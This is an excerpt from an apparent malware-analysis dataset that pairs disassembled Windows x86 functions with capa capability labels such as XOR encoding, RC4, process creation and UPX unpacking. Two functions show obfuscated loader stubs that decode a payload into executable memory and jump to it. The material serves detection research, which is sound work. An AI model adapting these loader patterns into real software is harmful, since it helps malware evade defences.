joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40af30
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x114]
push ebx
push esi
push edi
mov dword [ebp - 0x10c], 0
mov dword [0x673990], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, eax
xor edx, edx
mov eax, ebp
call fcn.0040b110
mov eax, dword [ebp - 0x110]
lea ecx, [eax + 1]
mov eax, dword [0x673990]
mov edx, dword [eax]
lea eax, [ebp - 0x108]
call fcn.00402690
call sub.kernel32.dll_GetCommandLineA
mov dword [0x423270], eax
mov ebx, eax
jmp 0x40b0d3
add ebx, 1
movzx eax, byte [ebx]
sub eax, 1
cmp eax, 0x20
jb 0x40afb8
cmp byte [ebx], 0
je 0x40b0dc
nop
mov byte [ebp - 0x114], 0
mov edi, ebx
mov dword [ebp - 0x110], 0
jmp 0x40b033
mov al, byte [ebx]
cmp al, 1
jb 0x40b028
sub al, 0x20
jbe 0x40aff8
sub al, 2
je 0x40b00c
jmp 0x40b028
mov al, byte [ebp - 0x114]
test al, al
je 0x40b038
add dword [ebp - 0x110], 1
jmp 0x40b030
cmp byte [ebx + 1], 0x22
je 0x40b023
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x40b030
add ebx, 1
jmp 0x40b030
add dword [ebp - 0x110], 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x40afe8
test dword [ebp - 0x10c], 0xffffffff
je 0x40b0cc
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x10c]
mov eax, ebp
call fcn.0040b110
mov byte [ebp - 0x114], 0
mov ebx, edi
mov eax, dword [0x673990]
mov edx, dword [ebp - 0x10c]
mov esi, dword [eax + edx*4]
jmp 0x40b0c3
mov al, byte [ebx]
cmp al, 1
jb 0x40b0b8
sub al, 0x20
jbe 0x40b088
sub al, 2
je 0x40b09c
jmp 0x40b0b8
mov al, byte [ebp - 0x114]
test al, al
je 0x40b0c8
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
jmp 0x40b0c0
cmp byte [ebx + 1], 0x22
je 0x40b0b3
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x40b0c0
add ebx, 1
jmp 0x40b0c0
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x40b078
mov byte [esi], 0
nop
add dword [ebp - 0x10c], 1
cmp byte [ebx], 0
jne 0x40afbb
mov ebx, dword [ebp - 0x10c]
mov dword [0x673980], ebx
lea edx, [ebx + 1]
shl edx, 2
mov eax, 0x673990
call fcn.00407750
mov eax, dword [0x673990]
mov dword [eax + ebx*4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40cef0
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov dx, 0xffff
lea esi, [esi]
add dx, 1
movsx eax, dx
mov ecx, eax
xor bx, bx
lea esi, [esi]
add bx, 1
mov eax, ecx
and eax, 1
je 0x40cf21
mov eax, ecx
shr eax, 1
xor eax, 0xedb88320
mov ecx, eax
jmp 0x40cf23
shr ecx, 1
cmp bx, 8
jl 0x40cf08
movzx eax, dx
mov dword [eax*4 + 0x675ce0], ecx
cmp dx, 0xff
jl 0x40cef8
pop ebx
ret

Function at 0x40cf40
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov edi, edx
mov esi, ecx
cmp dword [0x675ce4], 0
jne 0x40cf58
call fcn.0040cef0
nop
mov ecx, edi
not ebx
mov eax, ebx
cmp esi, 1
jl 0x40cf8c
xor ebx, ebx
lea esi, [esi]
add ebx, 1
mov dl, al
xor dl, byte [ecx]
and edx, 0xff
mov edi, eax
shr edi, 8
xor edi, dword [edx*4 + 0x675ce0]
mov eax, edi
add ecx, 1
cmp esi, ebx
jg 0x40cf68
mov esi, esi
not eax
pop edi
pop esi
pop ebx
ret
Function at 0x40e120
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x14]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, 0x1e
mov edx, 0xff
call fcn.004034a0
mov byte [ebp - 0x10], 0
mov esi, esi
mov al, byte [ebp - 0x10]
add al, 1
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 4]
movzx edx, byte [ebp - 0x10]
mov al, byte [eax + edx - 1]
mov byte [ebp - 0x14], al
movzx ax, byte [ebp - 0x14]
and ax, 0x60
cmp ax, 0x60
je 0x40e16f
jmp 0x40e18c
movzx ax, byte [ebp - 0x14]
and ax, 0x1f
movzx eax, ax
mov dl, byte [ebp - 0x14]
and dl, 0xe0
or dl, byte [eax + 0x423880]
mov byte [ebp - 0x14], dl
nop
movzx eax, byte [ebp - 0x14]
shr eax, 5
mov dl, byte [eax + 0x4238a0]
mov al, byte [ebp - 0x14]
xor al, dl
mov byte [ebp - 0x14], al
mov edx, dword [ebp - 8]
movzx eax, byte [ebp - 0x10]
sub eax, 1
lea eax, [eax + 1]
movzx eax, al
mov cl, byte [ebp - 0x14]
mov byte [edx + eax], cl
cmp byte [ebp - 0x10], 0x1e
jae 0x40e1c0
jmp 0x40e148
mov esp, ebp
pop ebp
ret

Function at 0x415600
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x10]
mov byte [ebp - 4], al
cmp al, 7
jb 0x415660
sub al, 7
je 0x4156c0
sub al, 1
je 0x415640
sub al, 2
je 0x415624
sub al, 3
je 0x415630
jmp 0x415660
add dword [0x6761f0], 1
jmp 0x4156c0
mov eax, dword [0x676110]
mov dword [0x6761e0], eax
jmp 0x4156c0
mov eax, dword [0x6761e0]
cmp eax, dword [0x676110]
jbe 0x4156c0
sub dword [0x6761e0], 1
jmp 0x4156c0
mov eax, dword [0x6761e0]
sub eax, 1
mov word [ebp - 8], ax
mov eax, dword [0x6761f0]
sub eax, 1
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 1
lea eax, [ebp - 4]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteConsoleOutputCharacterA
movzx ax, byte [0x425740]
mov word [ebp - 0x10], ax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 1
lea eax, [ebp - 0x10]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteConsoleOutputAttribute
add dword [0x6761e0], 1
nop
mov eax, dword [0x6761e0]
cmp eax, dword [0x676120]
jbe 0x4156f9
mov eax, dword [0x676110]
mov dword [0x6761e0], eax
add dword [0x6761f0], 1
mov esi, esi
jmp 0x4156f9
mov eax, 1
call fcn.004154e0
sub dword [0x6761f0], 1
mov eax, dword [0x6761f0]
cmp eax, dword [0x676140]
ja 0x4156e8
mov esp, ebp
pop ebp
ret
Function at 0x415710
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0xc]
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [0x6761e0]
sub eax, 2
mov word [ebp - 4], ax
mov eax, dword [0x6761f0]
sub eax, 1
mov word [ebp - 2], ax
movzx ax, byte [0x425740]
mov word [ebp - 0xc], ax
movzx ax, byte [edi]
mov si, ax
cmp si, 1
jl 0x415804
xor bx, bx
lea esi, [esi]
add bx, 1
add word [ebp - 4], 1
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 1
movzx eax, bl
add eax, edi
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteConsoleOutputCharacterA
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 1
lea eax, [ebp - 0xc]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteConsoleOutputAttribute
add dword [0x6761e0], 1
mov eax, dword [0x6761e0]
cmp eax, dword [0x676120]
jbe 0x4157f8
mov eax, dword [0x676110]
mov dword [0x6761e0], eax
add dword [0x6761f0], 1
jmp 0x4157d1
mov eax, 1
call fcn.004154e0
sub dword [0x6761f0], 1
mov eax, dword [0x6761f0]
cmp eax, dword [0x676140]
ja 0x4157c0
mov eax, dword [0x6761e0]
sub eax, 2
mov word [ebp - 4], ax
mov eax, dword [0x6761f0]
sub eax, 1
mov word [ebp - 2], ax
mov esi, esi
cmp si, bx
jg 0x415758
lea esi, [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417870
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x25c]
push ebx
push esi
push edi
mov edi, eax
mov esi, edx
mov edx, dword [0x673d30]
test edx, edx
je 0x417894
mov eax, dword [0x8cf290]
call edx
jmp 0x417899
mov eax, 0x8cf294
mov word [eax], 0
lea eax, [ebp - 0x44]
xor cl, cl
mov edx, 0x44
call fcn.004026d0
mov dword [ebp - 0x44], 0x44
mov word [ebp - 0x14], 1
mov edx, edi
mov ecx, 1
mov al, 0x22
call fcn.00403630
test eax, eax
sete bl
jne 0x4178df
mov byte [ebp - 0x25c], 0x22
mov dword [ebp - 0x58], 1
jmp 0x4178e6
mov dword [ebp - 0x58], 0
movzx ecx, byte [edi]
mov eax, dword [ebp - 0x58]
lea edx, [ebp + eax - 0x25c]
lea eax, [edi + 1]
call fcn.00402690
movzx eax, byte [edi]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], eax
test bl, bl
je 0x417918
mov eax, dword [ebp - 0x58]
mov byte [ebp + eax - 0x25c], 0x22
add dword [ebp - 0x58], 1
nop
mov eax, dword [ebp - 0x58]
mov byte [ebp + eax - 0x25c], 0x20
add dword [ebp - 0x58], 1
mov eax, dword [ebp - 0x58]
mov byte [ebp + eax - 0x25c], 0x20
add dword [ebp - 0x58], 1
movzx ecx, byte [esi]
mov eax, dword [ebp - 0x58]
lea edx, [ebp + eax - 0x25c]
lea eax, [esi + 1]
call fcn.00402690
movzx eax, byte [esi]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], eax
mov byte [ebp + eax - 0x25c], 0
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0x20
push dword [0x425aa0]
push 0
push 0
lea eax, [ebp - 0x25c]
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4179b0
call sub.kernel32.dll_GetLastError
call fcn.004177f0
mov bx, ax
mov edx, dword [0x673d30]
test edx, edx
je 0x4179a6
mov eax, dword [0x8cf290]
call edx
jmp 0x4179ab
mov eax, 0x8cf294
mov word [eax], bx
jmp 0x417a01
push 0xffffffffffffffff
push dword [ebp - 0x54]
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0xffffffff
je 0x4179cd
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x54]
call sub.kernel32.dll_GetExitCodeProcess
jmp 0x4179d4
mov dword [ebp - 0x58], 0xffffffff
push dword [ebp - 0x54]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x50]
call sub.kernel32.dll_CloseHandle
mov edx, dword [0x673d30]
test edx, edx
je 0x4179f7
mov eax, dword [0x8cf2a0]
call edx
jmp 0x4179fc
mov eax, 0x8cf2a4
mov edx, dword [ebp - 0x58]
mov dword [eax], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417a10
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x34]
push ebx
push esi
push edi
test al, al
jne 0x417a28
mov byte [ebp - 4], 0x5c
mov byte [ebp - 3], 0
jmp 0x417a3f
and eax, 0xff
add eax, 0x40
mov byte [ebp - 4], al
mov byte [ebp - 3], 0x3a
mov byte [ebp - 2], 0x5c
mov byte [ebp - 1], 0
cmp dword [0x8cf2b0], 0
je 0x417a7b
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 4]
push eax
call dword [0x8cf2b0]
test eax, eax
je 0x417a6d
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov edi, dword [ebp - 0x24]
jmp 0x417ac6
mov dword [ebp - 0x34], 0xffffffff
mov edi, 0xffffffff
jmp 0x417ac6
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
call sub.kernel32.dll_GetDiskFreeSpaceA
test eax, eax
je 0x417aba
mov eax, dword [ebp - 8]
mul dword [ebp - 0x10]
mov ebx, eax
mov eax, dword [ebp - 0xc]
xor esi, esi
mov ecx, ebx
imul ecx, esi
imul edx, eax
add ecx, edx
mul ebx
add edx, ecx
mov dword [ebp - 0x34], eax
mov edi, edx
jmp 0x417ac6
mov dword [ebp - 0x34], 0xffffffff
mov edi, 0xffffffff
mov edx, edi
mov eax, dword [ebp - 0x34]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x418020
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x508]
push ebx
push esi
push edi
mov ecx, eax
mov dword [ebp - 0x504], edx
lea eax, [ebp - 0x200]
mov edx, 0xff
call fcn.00402910
mov eax, dword [ebp - 0x504]
mov byte [eax], 0
call sub.kernel32.dll_GetEnvironmentStringsA
mov dword [ebp - 0x508], eax
mov esi, eax
jmp 0x4180f2
lea edx, [ebp - 0x100]
mov eax, esi
call fcn.0040d350
lea edx, [ebp - 0x100]
mov ecx, 1
mov al, 0x3d
call fcn.00403630
mov edi, eax
lea eax, [ebp - 0x200]
lea edx, [ebp - 0x300]
call fcn.004036b0
lea ebx, [ebp - 0x300]
lea eax, [ebp - 0x500]
push eax
lea ecx, [edi - 1]
lea eax, [ebp - 0x100]
mov edx, 1
call fcn.004034c0
lea eax, [ebp - 0x500]
lea edx, [ebp - 0x400]
call fcn.004036b0
lea eax, [ebp - 0x400]
mov edx, ebx
call fcn.00403210
test eax, eax
jne 0x4180e4
lea eax, [esi + edi]
mov edx, dword [ebp - 0x504]
call fcn.0040d350
jmp 0x4180fb
mov eax, esi
call fcn.004032a0
add eax, esi
add eax, 1
mov esi, eax
cmp byte [esi], 0
jne 0x418060
mov eax, dword [ebp - 0x508]
push eax
call sub.kernel32.dll_FreeEnvironmentStringsA
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x588780
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x12b000]
push edi
jmp 0x58879a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5887a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x588790
mov eax, 1
add ebx, ebx
jne 0x5887b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5887c4
jne 0x5887e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5887e3
dec eax
add ebx, ebx
jne 0x5887d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5887a8
add ebx, ebx
jne 0x5887df
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x588835
xor ecx, ecx
sub eax, 3
jb 0x5887fb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x58886a
sar eax, 1
mov ebp, eax
jmp 0x588806
add ebx, ebx
jne 0x588806
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5887d4
inc ecx
add ebx, ebx
jne 0x588814
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5887d4
add ebx, ebx
jne 0x588821
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x588816
jne 0x588832
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x588816
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x588854
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x588846
jmp 0x588796
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x588854
add edi, ecx
jmp 0x588796
pop esi
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x588872
cmp byte [edi], 0x11
jne 0x588872
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x588877
lea edi, [esi + 0x181000]
mov eax, dword [edi]
or eax, eax
je 0x5888ef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x22b5d8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x22b754]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5888a4
mov ecx, edi
jns 0x5888d3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x22b758]
or eax, eax
je 0x5888e9
mov dword [ebx], eax
add ebx, 4
jmp 0x5888c1
call dword [esi + 0x22b768]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x588920
cmp al, 0xef
ja 0x588913
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5888f5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x588902
mov ebp, dword [esi + 0x22b75c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x588954
sub esp, 0xffffff80
jmp 0x420577
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x403203
pop dword [ebp - 0x2c]
mov eax, 0x403203
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xfbe11d4e
sub dword [ebp - 0x3c], 0xad8ed803
mov dword [ebp - 0x38], 0xaaee43c4
add dword [ebp - 0x38], 0x87450881
mov dword [ebp - 0x34], 0xfa06c3d8
sub dword [ebp - 0x34], 0xadba7faa
mov dword [ebp - 0x30], 0x76ab7f80
add dword [ebp - 0x30], 0x89548080
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xaba8a14a
add eax, 0x5497df42
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xbeffe577
add dword [ebp - 0x3c], 0xb57283df
mov dword [ebp - 0x38], 0x5d0d1b6e
sub dword [ebp - 0x38], 0x1ba0b9f9
mov dword [ebp - 0x34], 0xd57e7bb5
add dword [ebp - 0x34], 0x8df0f0b7
mov dword [ebp - 0x30], 0x632af829
sub dword [ebp - 0x30], 0x632af829
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xce6dfdeb
add eax, 0x31d282e9
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3ac4d
push 0
call eax
mov ecx, 0x58b3
mov esi, eax
mov edx, 0x84b565f
add edx, 0xf7f5b9a1
add edx, dword [ebp - 0x2c]
mov ebx, 0x210fe50c
mov edi, dword [edx]
xor edi, ebx
sub dword [ebp - 0x14], 0xc0338b45
mov dword [esi], edi
add dword [ebp - 0x14], 0x86daa42b
add esi, 4
add edx, 4
loop 0x403314
add eax, 0x93cd1a0a
add eax, 0x6c343b95
mov ebx, eax
add eax, 5
mov ecx, 0xdbcdf3b
add ecx, 0xf28320c5
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x2a30e3b1
Capabilities:
Terminate thread

Disassembly:
push 0xc
mov eax, 0x2a3549f2
call fcn.2a30266e
mov ebx, ecx
xor ecx, ecx
cmp dword [ebx], 0xb
mov edi, ecx
mov dword [ebp - 0x14], edi
jne 0x2a30e4a2
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
or dword [ebx + 0x1a0], 0xffffffff
push 1
push dword [ebx + 0x2d4]
call dword [sym.imp.kernel32.dll_SetThreadPriority]
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
lea esi, [eax + 0x12c]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
cmp eax, esi
jae 0x2a30e45b
mov edi, esi
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebx + 0x2d8]
mov esi, dword [ebx]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
cmp esi, 0xb
jne 0x2a30e458
push 0x64
call dword [sym.imp.kernel32.dll_Sleep]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
cmp eax, edi
jb 0x2a30e41f
mov edi, dword [ebp - 0x14]
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
cmp dword [ebx], 0xb
jne 0x2a30e482
push 1
push dword [ebx + 0x2d4]
call dword [sym.imp.kernel32.dll_TerminateThread]
xor edi, edi
inc edi
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_CloseHandle]
xor ecx, ecx
mov dword [ebx + 0x2d8], ecx
cmp dword [ebx + 0x18], 0
lea esi, [ebx + 0x1a0]
mov dword [esi], ecx
je 0x2a30e4d7
test di, di
jne 0x2a30e4d4
push esi
push dword [ebx + 0x18]
call fcn.2a3243b3
xor ecx, ecx
cmp dword [esi], ecx
jne 0x2a30e4d7
push esi
push dword [ebx + 0x14]
mov dword [ebx + 0x18], ecx
call fcn.2a3243b3
xor ecx, ecx
jmp 0x2a30e4d7
mov dword [ebx + 0x18], ecx
cmp word [ebx + 0x144], cx
je 0x2a30e55e
push ecx
push ecx
lea ecx, [ebp - 0x18]
call fcn.2a3243b3
mov edi, dword [0x2a36db18]
xor eax, eax
push eax
mov dword [ebp - 4], eax
lea eax, [ebx + 0x40]
push eax
mov eax, dword [0x2a36db04]
push str.Cstring
mov esi, dword [eax + 0x14]
mov ecx, esi
call dword [str.Pv0]
call esi
mov esi, dword [edi + 0xd0]
pop ecx
movzx eax, ax
mov ecx, esi
push eax
push 0
call dword [str.Pv0]
call esi
add esp, 0x10
lea ecx, [ebp - 0x18]
push 0
push eax
call fcn.2a3243b3
cmp dword [ebp - 0x14], 0
je 0x2a30e550
lea ecx, [ebp - 0x18]
call fcn.2a3243b3
test al, al
je 0x2a30e550
lea ecx, [ebp - 0x18]
call fcn.2a33f665
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.2a3243b3
xor ecx, ecx
cmp dword [ebx + 0x34], 0
je 0x2a30e582
mov eax, dword [0x2a36d7bc]
push dword [ebx + 0x34]
mov esi, dword [eax + 0x284]
mov ecx, esi
call dword [str.Pv0]
call esi
pop ecx
xor ecx, ecx
mov dword [ebx + 0x34], ecx
mov eax, dword [ebx + 0x20]
test eax, eax
je 0x2a30e5b6
push eax
mov eax, dword [0x2a36dabc]
cmp word [ebx + 0x196], cx
je 0x2a30e5a0
mov esi, dword [eax + 0x124]
jmp 0x2a30e5a6
mov esi, dword [eax + 0x11c]
mov ecx, esi
call dword [str.Pv0]
call esi
xor eax, eax
pop ecx
mov dword [ebx + 0x20], eax
mov dword [ebx], 2
call fcn.2a302b96
ret
Function at 0x2a3243b3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x2a3243c2
pop dword [ebp - 0x2c]
mov eax, 0xf903ca63
sub eax, 0xced186a1
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x9c2254f0
add dword [ebp - 0x3c], 0xb22ff05b
mov dword [ebp - 0x38], 0x5c204c58
add dword [ebp - 0x38], 0xd612ffed
mov dword [ebp - 0x34], 0x166c68c1
add dword [ebp - 0x34], 0x35dfdb6d
mov dword [ebp - 0x30], 0x657c2c49
add dword [ebp - 0x30], 0x9a83d3b7
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x831de0d3
add dword [ebp - 0x3c], 0xf1548883
mov dword [ebp - 0x38], 0x3bcc73f3
add dword [ebp - 0x38], 0x59fed82
mov dword [ebp - 0x34], 0xed0963e8
sub dword [ebp - 0x34], 0x8999f77c
mov dword [ebp - 0x30], 0x957fd26e
add dword [ebp - 0x30], 0x6a802d92
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xec3e5877
add eax, 0x3df74815
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x4a7cc
push 0
call eax
mov ecx, 0x167e681a
add ecx, 0xe981dfda
mov edx, eax
mov edi, 0x2a381600
add edi, dword [ebp - 0x2c]
mov esi, 0xd9b2f82b
add esi, 0x5aa4b1dc
xor dword [ebp - 8], ebx
mov ebx, dword [edi]
xor dword [ebp - 8], ecx
sub ebx, esi
xor dword [ebp - 4], ecx
mov dword [edx], ebx
add edx, 4
add edi, 0xcdc8b3fa
sub edi, 0xcdc8b3f6
loop 0x2a3244d9
add eax, 0xc9265d9
add eax, 0xf36eacca
xor ebx, ebx
add ebx, eax
add eax, 0xd4e93bbf
sub eax, 0xd4e93bba
mov ecx, 0x458a85c8
sub ecx, 0x1b5a85c8
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret